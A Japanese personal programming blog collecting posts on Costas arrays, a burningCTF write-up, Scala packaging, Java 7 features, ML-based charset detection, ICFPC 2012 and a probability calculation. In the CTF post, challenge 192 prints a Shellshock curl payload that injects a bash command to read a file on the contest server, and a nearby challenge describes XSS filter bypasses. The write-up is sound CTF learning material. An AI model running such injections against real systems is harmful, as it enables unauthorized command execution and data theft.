Costas Array Problem

コスタス配列問題、というのを知った。

https://en.wikipedia.org/wiki/Costas_array

「A review of Costas arrays」
http://www.hindawi.com/journals/jam/2006/026385/abs/

コスタス配列とは


サイズNのコスタス配列とは、長さがNの配列 f であって、以下の条件を満たすものをいう。

  • f は [0, 1, ..., N-1] のpermutationである
  • D_l = { f[i + l] - f[i] | 0 <= i < N - l } としたとき、D_l の要素はdistinctである、が全ての l(1 <= l < N) で成立する

たとえば、N=4としたとき、

  • f = {0, 1, 3, 2} はコスタス配列
  • f = {2, 0, 3, 1} は D_1 = {-2, 3, -2} なのでコスタス配列ではない

コスタス配列であるための条件を幾何的に表すと、
「N*Nの二次元グリッド上にN個の点を配置する。どの行にもどの列にも点は1つ。点から点へのベクトル(N(N-1)/2個ある)を考えたとき、すべてのベクトルは互いに異なる」
ということになる。


上記のN=4の例をそれぞれグリッド的に書くと次のようになる、

コスタス配列
■□□□
□■□□
□□□■
□□■□

コスタス配列でない
□□■□
■□□□
□□□■
□■□□

コスタス配列を列挙する


これまでのところ、N<=29 のコスタス配列が全列挙されている。

N=29 が計算されたのは2011年。CPU時間366.55年分、実時間230日かけたそうな。
「Results of the enumeration of Costas arrays of order 29」
http://www.aimsciences.org/journals/displayArticlesnew.jsp?paperID=6376


列挙のために使った手法は、N=28 を全列挙した論文にいろいろ書かれているみたい(まだ読んでない)。
http://eeme.ucd.ie/~kdrakaka/work/publications/047.The_Enumeration_of_Costas_Arrays_of_Order_28_and_Its_Consequences.pdf


Nごとのコスタス配列の個数を表す数列は、OEISにある。
https://oeis.org/A008404


この分野の大家だったらしい Konstantinos Drakakis 氏のサイト
http://eeme.ucd.ie/~kdrakaka/indexen.htm
(2011年以降は研究から引退して金融ビジネスやってるっぽい)


問題


未解決な問題がいろいろある。

「Open Problems in Costas Arrays」
http://arxiv.org/pdf/1102.5727.pdf


一番わかりやすいのが、「サイズNのコスタス配列の数を C(N) としたとき、すべてのNで C(N) > 0 か?」。

現在、コスタス配列が存在するかどうか確かめられていない最小のNは32。

2014年に東大で「スパコン24時間回したら N=32 で1つくらい見つかるんじゃないの」ということで試したが、見つからなかったとのこと。
http://www.cc.u-tokyo.ac.jp/support/press/news/VOL17/No1/11_201501hpc-2.pdf


N=素数-1 とか N=素数の累乗-2 とか、特定のNについてはコスタス配列を生成するアルゴリズムがある。

知られているアルゴリズムによって生成できないCostas Arrayは、"sporadic" と呼ばれて珍重(?)されている。


OEISにある C(N) の数列を見てみるとだんだん小さくなっているので、C(N) は0に近づきそうな気もするが、
C(N) のオーダーについて分かっているのは、C(N)/N! = O(1/N) であることくらいらしい。

実装してみた


自分でも、コスタス配列を列挙するプログラムを簡単に作ってみた。


まず、ナイーブに N! 通りのpermutationを作ってそれぞれ条件をチェックする方法だと、手元で実行する気になるのはN=13くらいまで(実行環境は Macbook Air 2012 2.0GHz Core i7)。
https://github.com/tomerun/CostasArray/blob/c277f15da4591ac9e685dcd0fcd509d67cdd0e8e/main.cpp

$ time ./solver 10
ans_count:2160

real	0m0.172s
user	0m0.166s
sys	0m0.003s

$ time ./solver 11
ans_count:4368

real	0m2.286s
user	0m2.282s
sys	0m0.003s

$ time ./solver 12
ans_count:7852

real	0m31.387s
user	0m31.292s
sys	0m0.032s

$ time ./solver 13
ans_count:12828

real	7m2.614s
user	7m1.114s
sys	0m0.513s


自明な枝刈り(permutationを作る途中で都度条件チェックしてviolateしたら枝刈り)を足すと、N=15くらいまではいける。
https://github.com/tomerun/CostasArray/blob/2db147b220e9e68436e26b4cb862993b2c3b91ef/main.cpp

$ time ./solver 10
ans_count:2160

real	0m0.034s
user	0m0.026s
sys	0m0.003s

$ time ./solver 11
ans_count:4368

real	0m0.143s
user	0m0.138s
sys	0m0.003s

$ time ./solver 12
ans_count:7852

real	0m0.781s
user	0m0.776s
sys	0m0.003s

$ time ./solver 13
ans_count:12828

real	0m4.223s
user	0m4.213s
sys	0m0.008s

$ time ./solver 14
ans_count:17252

real	0m22.039s
user	0m22.014s
sys	0m0.016s

$ time ./solver 15
ans_count:19612

real	2m0.588s
user	2m0.299s
sys	0m0.113s


どこまで高速にできるようになるかな。

burningCTF

burningCTF(場阿忍愚CTF) に参加していたので簡単に参加記を書きます。

始めたのが遅くてバイナリやSQL Injectionをまじめにやる時間が取れなかったのが心残りですが、
これをきっかけに他のCTFでその手の問題に積極的に取り組んでいきたいです。

111 芸術 ワットイズディス?

ヒントから勘で

112 芸術 cole nanee?

ヒントから勘で

113 芸術 Lines and Boxes

ヒントの「日本人には読みにくい漢字」というところから Electroharmonix を想像した。
フォントの文字と見比べながら解読

115 芸術 毎日使う

まったく読めないので、総画数が8画や9画の漢字を全列挙してそれっぽい字を目grepしたが見つからなかった。正解は10画だった…
画数で絞れば漢字ってどうせ数百個しかないので、方針としては悪くなかったと思うが

131 解読術 image level 5

ファイル名でググったら数字のMD5値だということがわかった

132 解読術 Ninjya Crypto

「忍者 暗号」で検索

133 解読術 Decrypt RSA

opensslを使って鍵の情報を見ると640bitだったので、「RSA 640bit」で検索
https://en.wikipedia.org/wiki/RSA_numbers#RSA-640 が出てきて、鍵はここに載っているものと同じだった

http://yuppy.hatenablog.com/entry/2015/09/30/010803 を参考に秘密鍵を生成してデコードさせた

151 解析術 Doubtful Files

展開して.vbsをひとつずつ実行したら、8.vbsだけ実行できない

展開前のファイルをバイナリエディタで見ると、「Zone Identifier」という文字列が見える。特に、8.vbsと7.infだけその領域が長い

http://www.atmarkit.co.jp/ait/articles/1407/11/news111.html を参考に more < 7.inf:Zone.Identifier などするとBase64文字列が出てきたのでデコードしておしまい

152 解析術 情報漏洩

サイズが大きなパケットを覗くとPNGのヘッダが見えたので取り出す

153 解析術 Speech by google translate

データのバイト数を示すフィールドの値が小さかったので伸ばすと全部聞ける

つい先日のBreak in CTFでも似たようなことをやっていたのですぐにわかった

154 解析術 Cool Gadget

stringsコマンドにかけるのをサボっていたのでremovemeが見つけられなかった
aes-128-cbcは見つけたのだが

あと、exifMacのプレビュー.appでてっきり見れるのかと思っていたけど、(少なくともこのファイルに関しては)見えないことを知った

161 電網術 ftp is not secure.

pcapファイルをstringsにかけるとBase64の文字列が出てくるので復号

162 電網術 ベーシック

Wiresharkで開いたらユーザー名とパスワードが見える

164 電網術 Japanese kids are knowing

nmapでポートスキャンして空いているポートにアクセスすると <C-D-...> みたいな文字列が降ってきて、
ヒントから楽譜だと思って見てみると、かえるの歌だった

171 諜報術 KDL

Internet Archive

172 諜報術 Mr. Nipps

twilogで該当の時間のtweetをみつけてTwitter APIで位置情報を取得

最初InstagramAPIを使おうとしていて、アクセス制御関連でうまく使えなくて困っていた(山寺社長をテストアプリへ招待して許可してもらうゲームなのかと)

173 諜報術 Akiko-chan

画像で検索してwordpressを追加キーワードに入れる

174 諜報術 タナカハック

site:yamatosecurity.com でググるとPDFがいくつか見つかるのでその作成者を見る

175 諜報術 タイムトラベル

いっぱいググった。
「2013/9 "50.115.13.104"」 で https://www.robtex.net/?dns=50.115.13.104 が見つかった

181 記述術 search_duplicate_character_string

「duplicateなL文字のsubstringがある」のLを二分探索
1回のチェックはローリングハッシュを使って(ハッシュの衝突を無視すれば)O(N)で済むので、全体の計算量はO(N logN)

https://github.com/tomerun/CTF/blob/master/burningCTF/181.cpp

182 記述術 JavaScript Puzzle

一見やばそうだが冷静に考えると難しくない

183 記述術 Count Number Of Flag's SubString!

後ろの方で使える文字の中に '=' がないことから "flag=" の結果は必ず1になるので、前から1文字ずつ決める

https://github.com/tomerun/CTF/blob/master/burningCTF/183.rb

184 記述術 解凍?

ある程度手でやって出くるパターンを掴んでからスクリプト

https://github.com/tomerun/CTF/blob/master/burningCTF/184.rb

185 記述術 Make sorted Amida kuji!!

枝刈り探索

数列の反転数以上の橋を架けないといけないことを利用して枝刈りすると一瞬で答えが出る

フラグを求める部分はJavascriptを移植して計算させた

https://github.com/tomerun/CTF/blob/master/burningCTF/185.cpp

191 超文書転送術 GIFアニメ生成サイト

/movies/view/N のNを1から順にアクセスしたら、50番あたりで運営が作ったっぽい思わせぶりなGIFアニメがたくさんあったので、
きっとこれを解析するのだろうと思って頑張って見ていたが大ハズレだった

192 超文書転送術 Network Tools

ヒントからSHELLSHOCKで攻撃することがわかる

http://www.walbrix.com/jp/blog/2014-09-bash-code-injection.html
このあたりを参考に、 curl -A "() { :;}; /bin/bash -c 'cat flag.txt'" -F "cmd=arp" -F "option=" http://210.146.64.37:60888/exec

193 超文書転送術 箱庭XSS

全部大文字に変換されるようだったので、アルファベット小文字を使わずにalertさせるというゲームなのだと理解する

まず8進数やUTF32で文字を埋め込む記法を試したけど動かなかった

そこで、記号プログラミングでalertを出すコードを http://perl-users.jp/articles/advent-calendar/2010/sym/3 から拝借して利用した

197 超文書転送術 箱庭XSS 2

最初、aタグのhref属性にjavascriptスキームを書いて、ユーザー名をクリックしたらalertが出るようにしたのだけど、何も起きなかった

alertで出力する文字列を、全HTML要素の全属性を連結したものにしてみたら、"alert"という文字列が削除されていることがわかった

あとは

201 兵法術 将棋詰め壱/203 兵法術 将棋詰め参/204 兵法術 将棋詰め四

普通の詰め将棋だったのでびっくりした

202 兵法術 将棋詰め弐

普通の詰め将棋のはずがないと思って見ていたので、数字が入れ替わっているのはすぐにわかった

Scalaアプリケーションを配布する

Scalaのコードをコンパイルすると.classファイルができるが、これをjavaコマンドで実行するとNoClassDefFoundErrorになる。

$ cat Test.scala
object Test {
  def main(args: Array[String]){
    println("Hello, World!")
  }
}
$ fsc Test.scala
$ java Test
Exception in thread "main" java.lang.NoClassDefFoundError: scala/Predef$
	at Test$.main(Test.scala:3)
	at Test.main(Test.scala)
Caused by: java.lang.ClassNotFoundException: scala.Predef$
	at java.net.URLClassLoader$1.run(URLClassLoader.java:366)
	at java.net.URLClassLoader$1.run(URLClassLoader.java:355)
	at java.security.AccessController.doPrivileged(Native Method)
	at java.net.URLClassLoader.findClass(URLClassLoader.java:354)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
	at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:308)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
	... 2 more
$ 


実行にはscala-library.jar(その他 scala-swing.jar などのライブラリも必要に応じて)が必要。


自分の環境ではScalaはhomebrewでインストールしているので、これらのjarは /usr/local/Cellar/scala/2.10.3/libexec/lib/ にあった。

$ SCALALIB=/usr/local/Cellar/scala/2.10.3/libexec/lib 
$ ls $SCALALIB
akka-actors.jar			scala-actors.jar		scala-reflect.jar
diffutils.jar			scala-compiler.jar		scala-swing.jar
jline.jar			scala-library.jar		scalap.jar
scala-actors-migration.jar	scala-partest.jar		typesafe-config.jar
$ java -classpath .:$SCALALIB/scala-library.jar Test
Hello, World!
$ 


Scalaで作ったアプリケーションを他の人に渡すときは、scala-library.jarを同梱して、クラスパスを設定して起動するスクリプトを付けることになるだろう。


scala-library.jarの配布ライセンスは、Scala Licenseを付けておけば良い?
http://www.scala-lang.org/old/node/401 (2008年の情報)

Java7にキャッチアップ

TopCoderAtCoderでもJava7が使えるようになったことだし、止まっている知識をアップデートする。
Java7の新機能について、気になるものをこのあたりから拾ってきて試した。
http://www.oracle.com/technetwork/java/javase/jdk7-relnotes-418459.html

Binary Literals

2進数リテラル。先頭に0b(または0B)を付ける。

    int one  = 0b00000001;
    int two  = 0b00000010;
    int four = 0b00000100;
    int FF   = 0b11111111;
    System.out.println(Integer.toBinaryString(FF ^ (one | two | four)));

出力

11111000

Underscores in Numeric Literals

数値リテラルの中にアンダースコアを含ませることができる。

    System.out.println(123_456_789);
    System.out.println(3.141_592_653_589_793);

Strings in switch Statements

switch文でStringが使えるようになった。

    switch (args[0]) {
    case "-n":
      int n = Integer.parseInt(args[1]);
      break;
    case "-h":
      System.out.println("usage: hogehoge");
      break;
    case "-v":
      System.out.println("version 3.14");
      break;
    default:
      break;
    }

if-then-elseより速いらしい

try-with-resources, AutoCloseable

try-catch-finallyを使わずにリソース自動解放

    try (Scanner sc = new Scanner(System.in)) {
      System.out.println(sc.nextInt());
    }

tryの中にはAutoCloseableインターフェースを実装したクラスを指定する。

Type Inference for Generic Instance Creation

ジェネリックなクラスの初期化でコンストラクタに型パラメータを指定しなくて良くなる

    ArrayList<Integer> list = new ArrayList<>();
    HashMap<String, Integer> map = new HashMap<>();

java.nio.fileパッケージ

http://docs.oracle.com/javase/7/docs/api/java/nio/file/package-summary.html
FilesクラスとかPathクラスとか、ファイル操作まわりに便利なライブラリが追加されている。

    FileSystem fileSystem = FileSystems.getDefault();
    Path src = fileSystem.getPath("./tmp.txt");
    Path dst = fileSystem.getPath("./copyTo.txt");
    try {
      Files.copy(src, dst);
      Files.delete(src);
      for (String line : Files.readAllLines(dst, Charset.forName("UTF-8"))) {
        System.out.println(line);
      }
    } catch (IOException e) {
      System.err.println(e);
    }

Objectsクラス

http://docs.oracle.com/javase/7/docs/api/java/util/Objects.html
小物関数群。

    int hash = Objects.hash("string", 42, 3.14);
    String str = "hoge";
    String nullStr = null;
    Objects.equals(str, nullStr);
    System.out.println(Objects.toString(nullStr, "this object is NULL!!!!"));

BitSet

http://docs.oracle.com/javase/7/docs/api/java/util/BitSet.html
微妙にメソッドが追加されていた。

    BitSet bitset = BitSet.valueOf(new long[] { 0xFFFF_FFFF_FFFF_FFFFL, 0x1234_5678_9ABC_DEF0L });
    for (int i = bitset.previousSetBit(bitset.size()); i >= 0; i = bitset.previousSetBit(i - 1)) {
      System.out.println(i);
    }
    byte[] bytes = bitset.toByteArray();

Integer#compare

http://docs.oracle.com/javase/7/docs/api/java/lang/Integer.html#compare%28int,%20int%29
自分で比較コードを書かなくて良くなった。
Longなどでも同じ。Doubleには前からあった

    Integer.compare(0, 0);
    Long.compare(Long.MAX_VALUE, Long.MIN_VALUE);

文字コードの自動判別を機械学習で


これはMachine Learning Advent Calendar2012の22日目の記事です。

まえがき


アルゴリズム使って実世界の問題を解決できるの面白いナー」とPRML読んだりしているのですが、
研究や仕事で機械学習を使っているわけでもなく、自分の中では純粋に趣味・老後の楽しみ的な位置づけになっています。
しかしせっかく勉強しているのだから何かに使おうと、「有名データを利用するのも面白くないし、良いネタはないか」
と探していたら、以前こんなことを言っていたのを思い出しました。

文字コードの自動判別を機械学習使ってやる、って誰かがやってそうだけど検索しても出てこない

https://twitter.com/tomerun/status/9729721761


というわけで試しにやってみます。
この記事の中で使ったコードはここに置いています。 https://github.com/tomerun/MachineLearning
コメントなどあまり付いてないけどご勘弁を


エンコーディングなんて規則は全部分かってるのだから、精度に関しては機械学習とか持ち出さずともヒューリスティックに判定する方が良いに決まってます。
この記事は、機械学習の手法を使ってみた例でしかないことに注意。

データの準備


データには、「日本語バランス文」の上位1000個を使います。


ダウンロードしてきたデータについて、次の前処理をやります。

  • 形態素がスペースで区切られているので、スペースを全て除去
  • 元はWikipediaから取られた文なので、脚注を表す「^ 」が先頭に付いているものがある。これを取り除く
  • 2箇所、nbspが紛れ込んでいるので除去
  • 1箇所、Shift_JISEUC-JPにマッピングできない文字であるホリゾンタルバー(U+2015)があるので半角ハイフンに置き換え
  • 深圳」の「圳」がShift_JISマッピングできないのでカタカナに置き換え
  • 英数や記号が全て全角になっているので、文ごとに1/2の確率で半角に変換


続いて、1000個の文をそれぞれ、UTF-8、UTF-16LE、Shift_JISEUC-JPの4通りのバイト列に変換します。
ランダムに500文を選んで、500文*4エンコーディングの2000個のバイト列を訓練データ、残りの2000個のバイト列をテストデータとします。


各バイト列を、0〜255の値がそのバイト列中にどのくらいの割合で出現するかを要素とする256次元ベクトルとします。
ベクトルの要素の値が小数だといろいろ面倒なので、割合の値を10倍した整数(小数点以下切り上げ)で扱います。
たとえば、あるバイト列が {1,2,1,3} だった場合、出現割合は1が0.5、2と3が0.25なので、ベクトルは {0, 5, 3, 3, 0, ... } になります。

データの様子


それぞれのエンコーディングについて、バイトごとの値の分布がどのようになっているかのHeat mapを描きました。






確かに傾向が出てますね。
バイトの値の割合を特徴量にするだけで分類できそうだと期待できます。

分類

ナイーブベイズ


以前実装していたナイーブベイズに入れてみます。
ゼロ頻度問題を避けるためのpseudocountは、適当に0.1で(パラメタいろいろ変えてみても結果にはっきりした変化はなかった)。


コード抜粋

NaiveBayesClassifier<Sentence> naiveBayes = new NaiveBayesClassifier<Sentence>(0.1);
naiveBayes.train(Arrays.asList(trainingSet));
int correct = 0;
for (Sentence testData : testSet) {
	int expect = testData.label();
	int actual = naiveBayes.classify(testData);
	if (expect == actual) {
		++correct;
	}
}
System.out.println("correct:" + correct);
System.out.println("wrong:" + (testSet.length - correct));


乱数を変えて5回実行するとこうなりました。

$ java -Xmx2048m info/tomerun/ml/encoding/EncodingClassifier
correct:1977
wrong:23
$ java -Xmx2048m info/tomerun/ml/encoding/EncodingClassifier
correct:1972
wrong:28
$ java -Xmx2048m info/tomerun/ml/encoding/EncodingClassifier
correct:1984
wrong:16
$ java -Xmx2048m info/tomerun/ml/encoding/EncodingClassifier
correct:1976
wrong:24
$ java -Xmx2048m info/tomerun/ml/encoding/EncodingClassifier
correct:1984
wrong:16


平均正解率98.93%でした。

Random Forest


次はRandom Forestに入れてみます。
実装は以前独自にやっていたものです(なのでたぶんけっこう遅い)。

// RandomForest(決定木の数, 1つの決定木で使う特徴量の数, 1つの決定木の分岐数)
RandomForest<Sentence> randomForest = new RandomForest<Sentence>(500, 6, 300);
randomForest.train(Arrays.asList(trainingSet));
int correct = 0;
for (Sentence testData : testSet) {
	int expect = testData.label();
	int actual = randomForest.classify(testData);
	if (expect == actual) {
		++correct;
	}
}
System.out.println("correct:" + correct);
System.out.println("wrong:" + (testSet.length - correct));


これも5回実行するとこうなりました。

$ java -Xmx2048m info/tomerun/ml/encoding/EncodingClassifier
correct:1980
wrong:20
$ java -Xmx2048m info/tomerun/ml/encoding/EncodingClassifier
correct:1990
wrong:10
$ java -Xmx2048m info/tomerun/ml/encoding/EncodingClassifier
correct:1989
wrong:11
$ java -Xmx2048m info/tomerun/ml/encoding/EncodingClassifier
correct:1993
wrong:7
$ java -Xmx2048m info/tomerun/ml/encoding/EncodingClassifier
correct:1984
wrong:16


平均正解率99.36%。はっきりとNaiveBayesよりも良い結果が出ています。
ただし、パラメタはいろいろ試行錯誤して一番良くなるように決めたものです。

  • 決定木の数は一定以上増やしても計算時間がかかるばかりで結果は良くならない
  • 1つの決定木で使う素性数を増やしすぎるとかえって悪くなる
  • 分岐数は、Wikipediaなどでは識別問題の場合は1が推奨と書かれているけど、この問題については大幅に増やした方が断然良かった
(参考)nkf


比較対象として、nkfに推定させてみました。
どうもnkfUTF-16が判定できないみたいなので、1000文*3エンコーディングの3000個のテストデータについて試しています。

$ ls UTF-8/*.dat | xargs nkf -g | grep -E "UTF-8$" | wc -l
     997
$ ls EUC-JP/*.dat | xargs nkf -g | grep -E "EUC-JP$" | wc -l
     997
$ ls Shift_JIS/*.dat | xargs nkf -g | grep -E "Shift_JIS$" | wc -l
     997


正解率99.7%でした。
テストデータの中には5文字くらいの極端に短い文も含まれているので、さすがにこのくらいが限界だと思います。

おわりに


けして高度な手法を使っているわけではないものの、それなりに満足のいく精度が出ました。
テストデータは平均40文字くらいとそう長くない文章だったのでどうだろうと思っていたのですが、エンコーディングごとのパターンがはっきりしているため良く分類できているのでしょう。


元データは人手によって一度整理されているものではあるけれども、現実世界のデータを扱うにはやはり前処理でいろいろとやらないといけないことが出てきますね。なかなか面倒


今回は単純にバイト値の出現頻度だけを使いました(これ、bag of featuresと呼ぶのかな??)が、エンコーディングについての一般的知識から、バイトの順序に意味があるはずなので、隣り合う値の組(byte 2-gram)を考慮に入れるようにすると精度上がるかもしれません。
ただしそれをやるなら、たぶん計算量がすごく大きくなるのでなにか工夫しないといけないと思いますが。

宣伝


Competitive Programming Advent CalendarでKaggleの紹介を書きました。こちらもよろしく
http://topcoder.g.hatena.ne.jp/tomerun/20121221/1356017174

ICFPC 2012

http://icfpcontest2012.wordpress.com/

年に1度のICFP Contestでした。
O(nwn)というチームで参加していました。自分以外のメンバー:@uwitenpen,@kou_miyam,@hasi_t,@nico_shindannin,@WtbH
ICFPC4回目の参加で初めてチームを作ってみた。

1日目


問題読んで、ああー普通のMarathon系かーと思う。仕様変更だるそう…
そのうちuwiさんがシミュレータを実装して、hasiさんがそれをラップしたブラウザで動くGUIを作ってくれたので、サンプルのマップを遊んでみる
→むずい。これ仕様追加が無くてもこれだけで十分72時間のコンテストになりそう
アルゴリズムの案をいくつか考えてみるけどかなり無理ゲーな予感が
詰将棋的に、特定の経路で動いて岩をよけたりしておかないとのちのち死亡確定、みたいなマップが解けるAIを作れる気がしない
寝ようとしたら追加ルールでFloodが来て、うげーこれは完全に殺しに来てる…どうすんだこれ…と絶望感に浸る
とりあえずMarathonMatchで用意されてるみたいなCUIで実行するテスターを作ってこの日は終了

2日目


テストケースになるマップを自分で作らないとなあ、と思うもどのくらいまで想定して良いかがわからないので難しい
とりあえずランダムなマップのジェネレータだけは作った、けど生成されたマップを見ても全然面白くない…
誰かがパズルマップを作っていたのでそれを手で解くのに熱中し始める。このときが一番面白かったかもしれない


診断人さんによってuwiさんのJava製シミュレータをC++に移植されていたので、それをベースにして、ランダムウォークしつつテキトーな評価関数を元によさげな方向を選んで歩き回るのを書いてみる
ひとまずは取れるλからどんどん取っていけばいいんじゃね、ということで、評価関数の要素は取ったλの数と近くにλがあるかどうか(到達可能かどうかも考慮)、くらい
contest1.mapやcontest2.mapくらいはゴールできていた。けど、局所的に目先のλを取りに行くだけのAIなのでちょっとややこしい盤面になるとてんで話にならない
あとはこの日はこれのバグを取りつつ終了。何かトランポリンとか来てたけど無視って寝る

3日目


起きたらbeardが仕様追加で来てた。
草と岩がぶつかったときの仕様がよくわからなくて多少紛糾する→バリデータ様が正義
この辺で、バリデータの動作が最後にAbort付けなくてもAbort扱いになっていることに気づく。Aとはなんだったのか
もう一個仕様追加来る予定なのであまり気は進まなかったが新仕様を黙々と反映させる
実装し終わった頃に最後の仕様追加horockが来た
もっと派手なのが来ると思ってたけど、このくらいの変更では物足りない、と思うようになってしまっていた
これも実装
あとは評価関数に新仕様の要素を反映させたり微妙な高速化をやったり、
探索しきれないようなでかい盤面対策に、ランダムウォークの結果を1ステップずつ進めていたのを複数ステップ一気に進めるようにしたり

4日目


提出に向けて、SIGINTをトラップして終了できるようにしたり、細かいバグを直したりちまちま高速化したり。
来た方向に即戻る移動は意味が無いことが多いので起きづらいようにしたらまあまあスコアが上がった(ゴールできない盤面がゴールできるようになるわけではないけど)
今の評価関数ではgreedyに近いλから取りに行ってしまうのでどうしてもcontest6.mapがクリアできない。
改善できないかと、状態を複数保存するbeam search的な探索も書いてみたけど遅すぎてどうにもならなかった


最後にhasiさんに提出してもらおうとしたら、Linux上でコンパイルしたらちゃんと動かず"A"しか返さないという問題が発生していた
結局解決できず、審判環境では動くことを願ってそのまま提出することになった。各自の手元では動いてるし環境依存するようなコードはたぶん入れてないと思うのに、謎


最終的にはサンプルマップのスコア合計はbestの80%くらいだったかな
AtCoderの非公式ジャッジに(勝手に)提出してみると、京都チームには負けてるっぽい

反省


オンラインでのチーム戦は難しいなー
ICPC的なコンテストだったら各自別々の問題を解く、でよいけど、こういう巨大な一つの問題に取り組む、というときは作業をうまく分割して分担しないといけない
そしてこれは分割が難しめなタイプの問題だった
次回参加するときはチームで現地に集まる、というのをやってみたいですね


最初の方絶望に浸っている時間が長くて、仕様追加が予告されているというのもあって最初の実装ができるまでに時間が掛かってしまった。
とりあえずスコアが取れる実装ができたときにはもうlightning終わっていた
やっぱりスコアが一つも出てない状態というのはモチベーション上がりにくい。1つでもベンチマークになるスコアが出るとそれを超えようという意識が生まれる


マップのupadteは、毎ターンで盤面全コピなとても遅いのしか作れなかった。変化する可能性のある岩やWだけトラッキングする、という方針でやったらどうにかin-placeに高速にできるのかな…
あと探索のヒューリスティクスはもっと入れて良かった。岩の隣を開けるとか


あとから仕様変更が来るのは自分としては結構つらかった。ルールが決まってる問題を集中して考えたいです

選択肢式のテストで同じ答えが連続する確率

選択肢式のテストで同じ回答が何個も続いたとき、「これは怪しい、自分間違ってるんじゃないか」と思ってしまう、というのを経験したことがある人は多いんじゃないでしょうか。


同じ答えが続くことがどのくらいの確率で起こるかはちょっとプログラムを書いたら簡単に計算できるので、やってみました。
4択で100問のテストについての結果です。

同じ答えが連続する長さの最大値がちょうどiである確率
  1: 0.0000000000
  2: 0.0051914968
  3: 0.2991464221
  4: 0.4469730949
  5: 0.1809903269
  6: 0.0505544773
  7: 0.0128794318
  8: 0.0032085392
  9: 0.0007949317
 10: 0.0001966696
 11: 0.0000486359
 12: 0.0000120251
 13: 0.0000029728
 14: 0.0000007348
 15: 0.0000001816
 16: 0.0000000449
 17: 0.0000000111
 18: 0.0000000027
 19: 0.0000000007
 20: 0.0000000002

同じ答えが連続する長さの最大値がi以上である確率
  1: 1.0000000000
  2: 1.0000000000
  3: 0.9948085032
  4: 0.6956620811
  5: 0.2486889862
  6: 0.0676986593
  7: 0.0171441821
  8: 0.0042647503
  9: 0.0010562111
 10: 0.0002612794
 11: 0.0000646098
 12: 0.0000159739
 13: 0.0000039488
 14: 0.0000009760
 15: 0.0000002412
 16: 0.0000000596
 17: 0.0000000147
 18: 0.0000000036
 19: 0.0000000009
 20: 0.0000000002


これを見ると、いちばん可能性が高いのが4連続で、5連続以上が起こる確率が1/4。
6連続以上でも7%弱だからそこまで稀なことではない、となりました。


コードは次の通り(Java)。

public class Main {

    public static void main(String[] args) throws Exception {
        final int N = 100;
        final int selection = 4;
        double[][][] p = new double[N][N + 1][N + 1]; // p[i][j][k] = i番目の問題までで、現在j個同じ答えが連続してて、
                                                      //              これまで同じ答えが連続した最大の長さがk となる確率
        p[0][1][1] = 1;
        for (int i = 1; i < N; ++i) {
            for (int j = 1; j <= i; ++j) {
                for (int k = j; k <= i; ++k) {
                    p[i][1][k] += p[i - 1][j][k] * (selection - 1) / selection;
                    if (k == j) {
                        p[i][j + 1][k + 1] += p[i - 1][j][k] / selection;
                    } else {
                        p[i][j + 1][k] += p[i - 1][j][k] / selection;
                    }
                }
            }
        }
        double[] ans = new double[N + 1];
        for (int i = 1; i <= N; ++i) {
            for (int j = 1; j <= N; ++j) {
                ans[i] += p[N - 1][j][i];
            }
        }
        System.out.println("同じ答えが連続する長さの最大値がちょうどiである確率");
        for (int i = 1; i <= 20; ++i) {
            System.out.printf("%3d: %.10f\n", i, ans[i]);
        }
        System.out.println();
        System.out.println("同じ答えが連続する長さの最大値がi以上である確率");
        double sum = 0;
        for (int i = 1; i <= 20; ++i) {
            System.out.printf("%3d: %.10f\n", i, 1 - sum);
            sum += ans[i];
        }
    }
}